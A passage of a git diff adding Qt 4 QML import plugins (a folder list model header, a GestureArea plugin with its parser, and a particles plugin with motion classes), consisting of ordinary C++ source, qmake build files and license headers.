+ enum Roles { FileNameRole = Qt::UserRole+1, FilePathRole = Qt::UserRole+2 };
+
+ int rowCount(const QModelIndex &parent) const;
+ QVariant data(const QModelIndex &index, int role) const;
+//![abslistmodel]
+
+//![count]
+ int count() const { return rowCount(QModelIndex()); }
+//![count]
+
+//![prop funcs]
+ QUrl folder() const;
+ void setFolder(const QUrl &folder);
+
+ QUrl parentFolder() const;
+
+ QStringList nameFilters() const;
+ void setNameFilters(const QStringList &filters);
+
+ enum SortField { Unsorted, Name, Time, Size, Type };
+ SortField sortField() const;
+ void setSortField(SortField field);
+ Q_ENUMS(SortField)
+
+ bool sortReversed() const;
+ void setSortReversed(bool rev);
+
+ bool showDirs() const;
+ void setShowDirs(bool);
+ bool showDotAndDotDot() const;
+ void setShowDotAndDotDot(bool);
+ bool showOnlyReadable() const;
+ void setShowOnlyReadable(bool);
+//![prop funcs]
+
+//![isfolder]
+ Q_INVOKABLE bool isFolder(int index) const;
+//![isfolder]
+
+//![parserstatus]
+ virtual void classBegin();
+ virtual void componentComplete();
+//![parserstatus]
+
+//![notifier]
+Q_SIGNALS:
+ void folderChanged();
+//![notifier]
+
+//![class end]
+private Q_SLOTS:
+ void refresh();
+ void inserted(const QModelIndex &index, int start, int end);
+ void removed(const QModelIndex &index, int start, int end);
+ void handleDataChanged(const QModelIndex &start, const QModelIndex &end);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeFolderListModel)
+ QDeclarativeFolderListModelPrivate *d;
+};
+//![class end]
+
+QT_END_NAMESPACE
+
+//![qml decl]
+QML_DECLARE_TYPE(QDeclarativeFolderListModel)
+//![qml decl]
+
+QT_END_HEADER
+
+#endif // QT_NO_DIRMODEL
+
+#endif // QDECLARATIVEFOLDERLISTMODEL_H
diff --git a/src/imports/folderlistmodel/qmldir b/src/imports/folderlistmodel/qmldir
new file mode 100644
index 00000000..6e115bbc
--- /dev/null
+++ b/src/imports/folderlistmodel/qmldir
@@ -0,0 +1 @@
+plugin qmlfolderlistmodelplugin
diff --git a/src/imports/gestures/gestures.pro b/src/imports/gestures/gestures.pro
new file mode 100644
index 00000000..2768cc9c
--- /dev/null
+++ b/src/imports/gestures/gestures.pro
@@ -0,0 +1,26 @@
+TARGET = qmlgesturesplugin
+TARGETPATH = Qt/labs/gestures
+include(../qimportbase.pri)
+
+QT += declarative
+
+SOURCES += qdeclarativegesturearea.cpp plugin.cpp
+HEADERS += qdeclarativegesturearea_p.h
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/imports/$$TARGETPATH
+target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+qmldir.files += $$PWD/qmldir
+qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+symbian:{
+ TARGET.UID3 = 0x2002131F
+
+ isEmpty(DESTDIR):importFiles.files = qmlgesturesplugin$${QT_LIBINFIX}.dll qmldir
+ else:importFiles.files = $$DESTDIR/qmlgesturesplugin$${QT_LIBINFIX}.dll qmldir
+ importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH
+
+ DEPLOYMENT += importFiles
+}
+
+INSTALLS += target qmldir
diff --git a/src/imports/gestures/plugin.cpp b/src/imports/gestures/plugin.cpp
new file mode 100644
index 00000000..15c9d22e
--- /dev/null
+++ b/src/imports/gestures/plugin.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+
+#include "qdeclarativegesturearea_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class GestureAreaQmlPlugin : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ virtual void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == QLatin1String("Qt.labs.gestures"));
+#ifndef QT_NO_GESTURES
+ qmlRegisterCustomType<QDeclarativeGestureArea>(uri,1,0, "GestureArea", new QDeclarativeGestureAreaParser);
+
+ qmlRegisterUncreatableType<QGesture>(uri, 1, 0, "Gesture", QLatin1String("Do not create objects of this type."));
+ qmlRegisterUncreatableType<QPanGesture>(uri, 1, 0, "PanGesture", QLatin1String("Do not create objects of this type."));
+ qmlRegisterUncreatableType<QTapGesture>(uri, 1, 0, "TapGesture", QLatin1String("Do not create objects of this type."));
+ qmlRegisterUncreatableType<QTapAndHoldGesture>(uri, 1, 0, "TapAndHoldGesture", QLatin1String("Do not create objects of this type."));
+ qmlRegisterUncreatableType<QPinchGesture>(uri, 1, 0, "PinchGesture", QLatin1String("Do not create objects of this type."));
+ qmlRegisterUncreatableType<QSwipeGesture>(uri, 1, 0, "SwipeGesture", QLatin1String("Do not create objects of this type."));
+#endif
+ }
+};
+
+QT_END_NAMESPACE
+
+#include "plugin.moc"
+
+Q_EXPORT_PLUGIN2(qmlgesturesplugin, QT_PREPEND_NAMESPACE(GestureAreaQmlPlugin));
diff --git a/src/imports/gestures/qdeclarativegesturearea.cpp b/src/imports/gestures/qdeclarativegesturearea.cpp
new file mode 100644
index 00000000..afd92b06
--- /dev/null
+++ b/src/imports/gestures/qdeclarativegesturearea.cpp
@@ -0,0 +1,282 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativegesturearea_p.h"
+
+#include <qdeclarativeexpression.h>
+#include <qdeclarativecontext.h>
+#include <qdeclarativeinfo.h>
+
+#include <private/qdeclarativeproperty_p.h>
+#include <private/qdeclarativeitem_p.h>
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qstringlist.h>
+
+#include <QtGui/qevent.h>
+
+#include <private/qobject_p.h>
+
+#ifndef QT_NO_GESTURES
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeGestureAreaPrivate : public QDeclarativeItemPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeGestureArea)
+public:
+ QDeclarativeGestureAreaPrivate() : componentcomplete(false), gesture(0) {}
+
+ typedef QMap<Qt::GestureType,QDeclarativeExpression*> Bindings;
+ Bindings bindings;
+
+ bool componentcomplete;
+
+ QByteArray data;
+
+ QGesture *gesture;
+
+ bool gestureEvent(QGestureEvent *event);
+};
+
+/*!
+ \qmlclass GestureArea QDeclarativeGestureArea
+ \ingroup qml-basic-interaction-elements
+
+ \brief The GestureArea item enables simple gesture handling.
+ \inherits Item
+
+ A GestureArea is like a MouseArea, but it has signals for gesture events.
+
+ \warning Elements in the Qt.labs module are not guaranteed to remain compatible
+ in future versions.
+
+ \warning GestureArea is an experimental element whose development has
+ been discontinued. PinchArea is available in QtQuick 1.1 and handles
+ two finger gesture input.
+
+ \note This element is only functional on devices with touch input.
+
+ \qml
+ import Qt.labs.gestures 1.0
+
+ GestureArea {
+ anchors.fill: parent
+ // onPan: ... gesture.acceleration ...
+ // onPinch: ... gesture.rotationAngle ...
+ // onSwipe: ...
+ // onTapAndHold: ...
+ // onTap: ...
+ // onGesture: ...
+ }
+ \endqml
+
+ Each signal has a \e gesture parameter that has the
+ properties of the gesture.
+
+ \table
+ \header \o Signal \o Type \o Property \o Description
+ \row \o onTap \o point \o position \o the position of the tap
+ \row \o onTapAndHold \o point \o position \o the position of the tap
+ \row \o onPan \o real \o acceleration \o the acceleration of the pan
+ \row \o onPan \o point \o delta \o the offset from the previous input position to the current input
+ \row \o onPan \o point \o offset \o the total offset from the first input position to the current input position
+ \row \o onPan \o point \o lastOffset \o the previous value of offset
+ \row \o onPinch \o point \o centerPoint \o the midpoint between the two input points
+ \row \o onPinch \o point \o lastCenterPoint \o the previous value of centerPoint
+ \row \o onPinch \o point \o startCenterPoint \o the first value of centerPoint
+ \row \o onPinch \o real \o rotationAngle \o the angle covered by the gesture motion
+ \row \o onPinch \o real \o lastRotationAngle \o the previous value of rotationAngle
+ \row \o onPinch \o real \o totalRotationAngle \o the complete angle covered by the gesture
+ \row \o onPinch \o real \o scaleFactor \o the change in distance between the two input points
+ \row \o onPinch \o real \o lastScaleFactor \o the previous value of scaleFactor
+ \row \o onPinch \o real \o totalScaleFactor \o the complete scale factor of the gesture
+ \row \o onSwipe \o real \o swipeAngle \o the angle of the swipe
+ \endtable
+
+ Custom gestures, handled by onGesture, will have custom properties.
+
+ GestureArea is an invisible item: it is never painted.
+
+ \sa MouseArea
+*/
+
+/*!
+ \internal
+ \class QDeclarativeGestureArea
+ \brief The QDeclarativeGestureArea class provides simple gesture handling.
+
+*/
+QDeclarativeGestureArea::QDeclarativeGestureArea(QDeclarativeItem *parent) :
+ QDeclarativeItem(*(new QDeclarativeGestureAreaPrivate), parent)
+{
+ setAcceptedMouseButtons(Qt::LeftButton);
+ setAcceptTouchEvents(true);
+}
+
+QDeclarativeGestureArea::~QDeclarativeGestureArea()
+{
+}
+
+QByteArray
+QDeclarativeGestureAreaParser::compile(const QList<QDeclarativeCustomParserProperty> &props)
+{
+ QByteArray rv;
+ QDataStream ds(&rv, QIODevice::WriteOnly);
+
+ for(int ii = 0; ii < props.count(); ++ii)
+ {
+ QString propName = QString::fromUtf8(props.at(ii).name());
+ Qt::GestureType type;
+
+ if (propName == QLatin1String("onTap")) {
+ type = Qt::TapGesture;
+ } else if (propName == QLatin1String("onTapAndHold")) {
+ type = Qt::TapAndHoldGesture;
+ } else if (propName == QLatin1String("onPan")) {
+ type = Qt::PanGesture;
+ } else if (propName == QLatin1String("onPinch")) {
+ type = Qt::PinchGesture;
+ } else if (propName == QLatin1String("onSwipe")) {
+ type = Qt::SwipeGesture;
+ } else if (propName == QLatin1String("onGesture")) {
+ type = Qt::CustomGesture;
+ } else {
+ error(props.at(ii), QDeclarativeGestureArea::tr("Cannot assign to non-existent property \"%1\"").arg(propName));
+ return QByteArray();
+ }
+
+ QList<QVariant> values = props.at(ii).assignedValues();
+
+ for (int i = 0; i < values.count(); ++i) {
+ const QVariant &value = values.at(i);
+
+ if (value.userType() == qMetaTypeId<QDeclarativeCustomParserNode>()) {
+ error(props.at(ii), QDeclarativeGestureArea::tr("GestureArea: nested objects not allowed"));
+ return QByteArray();
+ } else if (value.userType() == qMetaTypeId<QDeclarativeCustomParserProperty>()) {
+ error(props.at(ii), QDeclarativeGestureArea::tr("GestureArea: syntax error"));
+ return QByteArray();
+ } else {
+ QDeclarativeParser::Variant v = qvariant_cast<QDeclarativeParser::Variant>(value);
+ if (v.isScript()) {
+ ds << propName;
+ ds << int(type);
+ ds << v.asScript();
+ } else {
+ error(props.at(ii), QDeclarativeGestureArea::tr("GestureArea: script expected"));
+ return QByteArray();
+ }
+ }
+ }
+ }
+
+ return rv;
+}
+
+void QDeclarativeGestureAreaParser::setCustomData(QObject *object,
+ const QByteArray &data)
+{
+ QDeclarativeGestureArea *ga = static_cast<QDeclarativeGestureArea*>(object);
+ ga->d_func()->data = data;
+}
+
+
+void QDeclarativeGestureArea::connectSignals()
+{
+ Q_D(QDeclarativeGestureArea);
+ if (!d->componentcomplete)
+ return;
+
+ QDataStream ds(d->data);
+ while (!ds.atEnd()) {
+ QString propName;
+ ds >> propName;
+ int gesturetype;
+ ds >> gesturetype;
+ QString script;
+ ds >> script;
+ QDeclarativeExpression *exp = new QDeclarativeExpression(qmlContext(this), this, script);
+ d->bindings.insert(Qt::GestureType(gesturetype),exp);
+ grabGesture(Qt::GestureType(gesturetype));
+ }
+}
+
+void QDeclarativeGestureArea::componentComplete()
+{
+ QDeclarativeItem::componentComplete();
+ Q_D(QDeclarativeGestureArea);
+ d->componentcomplete=true;
+ connectSignals();
+}
+
+QGesture *QDeclarativeGestureArea::gesture() const
+{
+ Q_D(const QDeclarativeGestureArea);
+ return d->gesture;
+}
+
+bool QDeclarativeGestureArea::sceneEvent(QEvent *event)
+{
+ Q_D(QDeclarativeGestureArea);
+ if (event->type() == QEvent::Gesture)
+ return d->gestureEvent(static_cast<QGestureEvent*>(event));
+ return QDeclarativeItem::sceneEvent(event);
+}
+
+bool QDeclarativeGestureAreaPrivate::gestureEvent(QGestureEvent *event)
+{
+ bool accept = true;
+ for (Bindings::Iterator it = bindings.begin(); it != bindings.end(); ++it) {
+ if ((gesture = event->gesture(it.key()))) {
+ QDeclarativeExpression *expr = it.value();
+ expr->evaluate();
+ if (expr->hasError())
+ qmlInfo(q_func()) << expr->error();
+ event->setAccepted(true); // XXX only if value returns true?
+ }
+ }
+ return accept;
+}
+
+QT_END_NAMESPACE
+
+#endif // QT_NO_GESTURES
diff --git a/src/imports/gestures/qdeclarativegesturearea_p.h b/src/imports/gestures/qdeclarativegesturearea_p.h
new file mode 100644
index 00000000..8171b376
--- /dev/null
+++ b/src/imports/gestures/qdeclarativegesturearea_p.h
@@ -0,0 +1,104 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEGESTUREAREA_H
+#define QDECLARATIVEGESTUREAREA_H
+
+#include <qdeclarativeitem.h>
+#include <qdeclarativescriptstring.h>
+#include <private/qdeclarativecustomparser_p.h>
+
+#include <QtCore/qobject.h>
+#include <QtCore/qstring.h>
+#include <QtGui/qgesture.h>
+
+#ifndef QT_NO_GESTURES
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeBoundSignal;
+class QDeclarativeContext;
+class QDeclarativeGestureAreaPrivate;
+class QDeclarativeGestureArea : public QDeclarativeItem
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QGesture *gesture READ gesture)
+
+public:
+ QDeclarativeGestureArea(QDeclarativeItem *parent=0);
+ ~QDeclarativeGestureArea();
+
+ QGesture *gesture() const;
+
+protected:
+ bool sceneEvent(QEvent *event);
+
+private:
+ void connectSignals();
+ void componentComplete();
+ friend class QDeclarativeGestureAreaParser;
+
+ Q_DISABLE_COPY(QDeclarativeGestureArea)
+ Q_DECLARE_PRIVATE_D(QGraphicsItem::d_ptr.data(), QDeclarativeGestureArea)
+};
+
+class QDeclarativeGestureAreaParser : public QDeclarativeCustomParser
+{
+public:
+ virtual QByteArray compile(const QList<QDeclarativeCustomParserProperty> &);
+ virtual void setCustomData(QObject *, const QByteArray &);
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeGestureArea)
+
+QT_END_HEADER
+
+#endif // QT_NO_GESTURES
+
+#endif
diff --git a/src/imports/gestures/qmldir b/src/imports/gestures/qmldir
new file mode 100644
index 00000000..2a31920a
--- /dev/null
+++ b/src/imports/gestures/qmldir
@@ -0,0 +1 @@
+plugin qmlgesturesplugin
diff --git a/src/imports/imports.pro b/src/imports/imports.pro
new file mode 100644
index 00000000..d0e24b0b
--- /dev/null
+++ b/src/imports/imports.pro
@@ -0,0 +1,5 @@
+TEMPLATE = subdirs
+
+SUBDIRS += folderlistmodel particles gestures
+contains(QT_CONFIG, opengl):!contains(QT_CONFIG, opengles1): SUBDIRS += shaders
+
diff --git a/src/imports/particles/particles.cpp b/src/imports/particles/particles.cpp
new file mode 100644
index 00000000..533ec08d
--- /dev/null
+++ b/src/imports/particles/particles.cpp
@@ -0,0 +1,69 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the plugins of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtDeclarative/qdeclarativeextensionplugin.h>
+#include <QtDeclarative/qdeclarative.h>
+
+#include "qdeclarativeparticles_p.h"
+
+QT_BEGIN_NAMESPACE
+
+class QParticlesQmlModule : public QDeclarativeExtensionPlugin
+{
+ Q_OBJECT
+public:
+ virtual void registerTypes(const char *uri)
+ {
+ Q_ASSERT(QLatin1String(uri) == QLatin1String("Qt.labs.particles"));
+ qmlRegisterType<QDeclarativeParticleMotion>(uri,1,0,"ParticleMotion");
+ qmlRegisterType<QDeclarativeParticleMotionGravity>(uri,1,0,"ParticleMotionGravity");
+ qmlRegisterType<QDeclarativeParticleMotionLinear>(uri,1,0,"ParticleMotionLinear");
+ qmlRegisterType<QDeclarativeParticleMotionWander>(uri,1,0,"ParticleMotionWander");
+ qmlRegisterType<QDeclarativeParticles>(uri,1,0,"Particles");
+ }
+};
+
+QT_END_NAMESPACE
+
+#include "particles.moc"
+
+Q_EXPORT_PLUGIN2(qmlparticlesplugin, QT_PREPEND_NAMESPACE(QParticlesQmlModule));
+
diff --git a/src/imports/particles/particles.pro b/src/imports/particles/particles.pro
new file mode 100644
index 00000000..894d164c
--- /dev/null
+++ b/src/imports/particles/particles.pro
@@ -0,0 +1,30 @@
+TARGET = qmlparticlesplugin
+TARGETPATH = Qt/labs/particles
+include(../qimportbase.pri)
+
+QT += declarative
+
+SOURCES += \
+ qdeclarativeparticles.cpp \
+ particles.cpp
+
+HEADERS += \
+ qdeclarativeparticles_p.h
+
+QTDIR_build:DESTDIR = $$QT_BUILD_TREE/imports/$$TARGETPATH
+target.path = $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+qmldir.files += $$PWD/qmldir
+qmldir.path += $$[QT_INSTALL_IMPORTS]/$$TARGETPATH
+
+symbian:{
+ TARGET.UID3 = 0x2002131E
+
+ isEmpty(DESTDIR):importFiles.files = qmlparticlesplugin$${QT_LIBINFIX}.dll qmldir
+ else:importFiles.files = $$DESTDIR/qmlparticlesplugin$${QT_LIBINFIX}.dll qmldir
+ importFiles.path = $$QT_IMPORTS_BASE_DIR/$$TARGETPATH
+
+ DEPLOYMENT += importFiles
+}
+
+INSTALLS += target qmldir
diff --git a/src/imports/particles/qdeclarativeparticles.cpp b/src/imports/particles/qdeclarativeparticles.cpp
new file mode 100644
index 00000000..b2b304a7
--- /dev/null
+++ b/src/imports/particles/qdeclarativeparticles.cpp
@@ -0,0 +1,1296 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeparticles_p.h"
+
+#include <qdeclarativeinfo.h>
+#include <private/qdeclarativeitem_p.h>
+
+#include <private/qdeclarativepixmapcache_p.h>
+#include <QtCore/QAbstractAnimation>
+
+#include <QPainter>
+#include <QtGui/qdrawutil.h>
+#include <QVarLengthArray>
+
+#include <stdlib.h>
+#include <math.h>
+
+#ifndef M_PI
+#define M_PI 3.14159265358979323846
+#define M_PI_2 (M_PI / 2.)
+#endif
+#ifndef INT_MAX
+#define INT_MAX 2147483647
+#endif
+
+QT_BEGIN_NAMESPACE
+#define PI_SQR 9.8696044
+// parabolic approximation
+inline qreal fastSin(qreal theta)
+{
+ const qreal b = 4 / M_PI;
+ const qreal c = -4 / PI_SQR;
+
+ qreal y = b * theta + c * theta * qAbs(theta);
+ return y;
+}
+
+inline qreal fastCos(qreal theta)
+{
+ theta += M_PI_2;
+ if (theta > M_PI)
+ theta -= 2 * M_PI;
+
+ return fastSin(theta);
+}
+
+class QDeclarativeParticle
+{
+public:
+ QDeclarativeParticle(int time) : lifeSpan(1000), fadeOutAge(800)
+ , opacity(0), birthTime(time), x_velocity(0), y_velocity(0)
+ , state(FadeIn), data(0)
+ {
+ }
+
+ int lifeSpan;
+ int fadeOutAge;
+ qreal x;
+ qreal y;
+ qreal opacity;
+ int birthTime;
+ qreal x_velocity;
+ qreal y_velocity;
+ enum State { FadeIn, Solid, FadeOut };
+ State state;
+ void *data;
+};
+
+//---------------------------------------------------------------------------
+
+/*!
+ \class QDeclarativeParticleMotion
+ \ingroup group_effects
+ \brief The QDeclarativeParticleMotion class is the base class for particle motion.
+ \internal
+
+ This class causes the particles to remain static.
+*/
+
+/*!
+ Constructs a QDeclarativeParticleMotion with parent object \a parent.
+*/
+QDeclarativeParticleMotion::QDeclarativeParticleMotion(QObject *parent) :
+ QObject(parent)
+{
+}
+
+/*!
+ Move the \a particle to its new position. \a interval is the number of
+ milliseconds elapsed since it was last moved.
+*/
+void QDeclarativeParticleMotion::advance(QDeclarativeParticle &particle, int interval)
+{
+ Q_UNUSED(particle);
+ Q_UNUSED(interval);
+}
+
+/*!
+ The \a particle has just been created. Some motion strategies require
+ additional state information. This can be allocated by this function.
+*/
+void QDeclarativeParticleMotion::created(QDeclarativeParticle &particle)
+{
+ Q_UNUSED(particle);
+}
+
+/*!
+ The \a particle is about to be destroyed. Any additional memory
+ that has been allocated for the particle should be freed.
+*/
+void QDeclarativeParticleMotion::destroy(QDeclarativeParticle &particle)
+{
+ Q_UNUSED(particle);
+}
+
+/*!
+ \qmlclass ParticleMotionLinear QDeclarativeParticleMotionLinear
+ \ingroup qml-particle-elements
+ \since 4.7
+ \brief The ParticleMotionLinear object moves particles linearly.
+
+ \sa Particles
+
+ This is the default motion, and moves the particles according to the
+ properties specified in the Particles element.
+
+ It has no further properties.
+*/
+void QDeclarativeParticleMotionLinear::advance(QDeclarativeParticle &p, int interval)
+{
+ p.x += interval * p.x_velocity;
+ p.y += interval * p.y_velocity;
+}
+
+/*!
+ \qmlclass ParticleMotionGravity QDeclarativeParticleMotionGravity
+ \ingroup qml-particle-elements
+ \since 4.7
+ \brief The ParticleMotionGravity object moves particles towards a point.
+
+ This motion attracts the particles to the specified point with the specified acceleration.
+ To mimic earth gravity, set yattractor to -6360000 and acceleration to 9.8.
+
+ The defaults are all 0, not earth gravity, and so no motion will occur without setting
+ at least the acceleration property.
+
+
+ \sa Particles
+*/
+
+/*!
+ \qmlproperty real ParticleMotionGravity::xattractor
+ \qmlproperty real ParticleMotionGravity::yattractor
+ These properties hold the x and y coordinates of the point attracting the particles.
+*/
+
+/*!
+ \qmlproperty real ParticleMotionGravity::acceleration
+ This property holds the acceleration to apply to the particles.
+*/
+
+/*!
+ \property QDeclarativeParticleMotionGravity::xattractor
+ \brief the x coordinate of the point attracting the particles.
+*/
+
+/*!
+ \property QDeclarativeParticleMotionGravity::yattractor
+ \brief the y coordinate of the point attracting the particles.
+*/
+
+/*!
+ \property QDeclarativeParticleMotionGravity::acceleration
+ \brief the acceleration to apply to the particles.
+*/
+
+void QDeclarativeParticleMotionGravity::setXAttractor(qreal x)
+{
+ if (qFuzzyCompare(x, _xAttr))
+ return;
+ _xAttr = x;
+ emit xattractorChanged();
+}
+
+void QDeclarativeParticleMotionGravity::setYAttractor(qreal y)
+{
+ if (qFuzzyCompare(y, _yAttr))
+ return;
+ _yAttr = y;
+ emit yattractorChanged();
+}
+
+void QDeclarativeParticleMotionGravity::setAcceleration(qreal accel)
+{
+ qreal scaledAccel = accel/1000000.0;
+ if (qFuzzyCompare(scaledAccel, _accel))
+ return;
+ _accel = scaledAccel;
+ emit accelerationChanged();
+}
+
+void QDeclarativeParticleMotionGravity::advance(QDeclarativeParticle &p, int interval)
+{
+ qreal xdiff = _xAttr - p.x;
+ qreal ydiff = _yAttr - p.y;
+ qreal absXdiff = qAbs(xdiff);
+ qreal absYdiff = qAbs(ydiff);
+
+ qreal xcomp = xdiff / (absXdiff + absYdiff);
+ qreal ycomp = ydiff / (absXdiff + absYdiff);
+
+ p.x_velocity += xcomp * _accel * interval;
+ p.y_velocity += ycomp * _accel * interval;
+
+ p.x += interval * p.x_velocity;
+ p.y += interval * p.y_velocity;
+}
+
+/*!
+ \qmlclass ParticleMotionWander QDeclarativeParticleMotionWander
+ \ingroup qml-particle-elements
+ \since 4.7
+ \brief The ParticleMotionWander object moves particles in a somewhat random fashion.
+
+ The particles will continue roughly in the original direction, however will randomly
+ drift to each side.
+
+ The code below produces an effect similar to falling snow.
+
+ \qml
+Rectangle {
+ width: 240
+ height: 320
+ color: "black"
+
+ Particles {
+ y: 0
+ width: parent.width
+ height: 30
+ source: "star.png"
+ lifeSpan: 5000
+ count: 50
+ angle: 70
+ angleDeviation: 36
+ velocity: 30
+ velocityDeviation: 10
+ ParticleMotionWander {
+ xvariance: 30
+ pace: 100
+ }
+ }
+}
+ \endqml
+
+ \sa Particles
+*/
+
+/*!
